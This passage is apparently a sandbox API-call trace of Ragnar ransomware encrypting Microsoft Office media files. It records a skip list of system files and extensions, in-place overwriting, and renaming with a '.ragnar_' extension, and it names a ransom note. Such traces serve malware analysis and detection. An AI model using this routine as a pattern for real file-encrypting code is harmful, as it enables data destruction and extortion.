[0095.952] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.952] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0095.952] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.952] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0297185.WMF" | out: lpString1="J0297185.WMF") returned="J0297185.WMF" [0095.952] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF") returned=".WMF" [0095.952] lstrcmpiW (lpString1="J0297185.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.952] lstrcmpiW (lpString1="J0297185.WMF", lpString2="autorun.inf") returned 1 [0095.952] lstrcmpiW (lpString1="J0297185.WMF", lpString2="boot.ini") returned 1 [0095.952] lstrcmpiW (lpString1="J0297185.WMF", lpString2="bootfont.bin") returned 1 [0095.952] lstrcmpiW (lpString1="J0297185.WMF", lpString2="bootsect.bak") returned 1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="bootmgr") returned 1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="bootmgr.efi") returned 1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="bootmgfw.efi") returned 1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="desktop.ini") returned 1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="iconcache.db") returned 1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="ntldr") returned -1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="ntuser.dat") returned -1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="ntuser.dat.log") returned -1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="ntuser.ini") returned -1 [0095.953] lstrcmpiW (lpString1="J0297185.WMF", lpString2="thumbs.db") returned -1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.953] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf")) returned 0x20 [0095.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.954] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=52562) returned 1 [0095.954] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xcd49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.954] GetProcessHeap () returned 0x580000 [0095.954] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.954] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.955] VirtualAlloc (lpAddress=0x0, dwSize=0xcd52, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.955] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.955] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.955] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcd52, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcd52, lpOverlapped=0x0) returned 1 [0095.957] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.958] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd52, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.958] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcd52, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcd52, lpOverlapped=0x0) returned 1 [0095.958] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd52, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.958] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.958] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xcd52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.958] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.958] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.959] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.959] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.959] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.959] GetProcessHeap () returned 0x580000 [0095.959] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.959] CloseHandle (hObject=0x104) returned 1 [0095.959] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" [0095.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.ragnar_FD7BD9FC" [0095.959] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0095.961] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.961] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0297551.WMF" | out: lpString1="J0297551.WMF") returned="J0297551.WMF" [0095.961] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF") returned=".WMF" [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="autorun.inf") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="boot.ini") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="bootfont.bin") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="bootsect.bak") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="bootmgr") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="bootmgr.efi") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="bootmgfw.efi") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="desktop.ini") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="iconcache.db") returned 1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="ntldr") returned -1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="ntuser.dat") returned -1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="ntuser.dat.log") returned -1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="ntuser.ini") returned -1 [0095.961] lstrcmpiW (lpString1="J0297551.WMF", lpString2="thumbs.db") returned -1 [0095.961] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.961] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.961] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.962] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.962] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.962] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.962] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf")) returned 0x20 [0095.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.963] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28088) returned 1 [0095.963] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x6daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.963] GetProcessHeap () returned 0x580000 [0095.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.963] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.964] VirtualAlloc (lpAddress=0x0, dwSize=0x6db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.964] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.964] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.965] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6db8, lpOverlapped=0x0) returned 1 [0095.966] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.966] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.966] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6db8, lpOverlapped=0x0) returned 1 [0095.966] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.966] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.966] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x6db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.966] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.967] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.967] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.967] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.967] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.967] GetProcessHeap () returned 0x580000 [0095.967] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.967] CloseHandle (hObject=0x104) returned 1 [0095.967] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" [0095.967] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.ragnar_FD7BD9FC" [0095.967] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.968] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0095.968] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.968] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0297707.WMF" | out: lpString1="J0297707.WMF") returned="J0297707.WMF" [0095.968] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF") returned=".WMF" [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="autorun.inf") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="boot.ini") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="bootfont.bin") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="bootsect.bak") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="bootmgr") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="bootmgr.efi") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="bootmgfw.efi") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="desktop.ini") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="iconcache.db") returned 1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="ntldr") returned -1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="ntuser.dat") returned -1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="ntuser.dat.log") returned -1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="ntuser.ini") returned -1 [0095.968] lstrcmpiW (lpString1="J0297707.WMF", lpString2="thumbs.db") returned -1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.968] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf")) returned 0x20 [0095.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.969] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42946) returned 1 [0095.969] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa7b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.969] GetProcessHeap () returned 0x580000 [0095.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.969] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.971] VirtualAlloc (lpAddress=0x0, dwSize=0xa7c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.971] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.971] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.971] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa7c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa7c2, lpOverlapped=0x0) returned 1 [0095.972] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.973] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.973] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa7c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa7c2, lpOverlapped=0x0) returned 1 [0095.973] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.973] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.973] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xa7c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.973] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.973] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.973] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.974] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.974] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.974] GetProcessHeap () returned 0x580000 [0095.974] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.974] CloseHandle (hObject=0x104) returned 1 [0095.974] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" [0095.974] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.ragnar_FD7BD9FC" [0095.974] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.974] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0095.974] GetFullPathNameW (in: 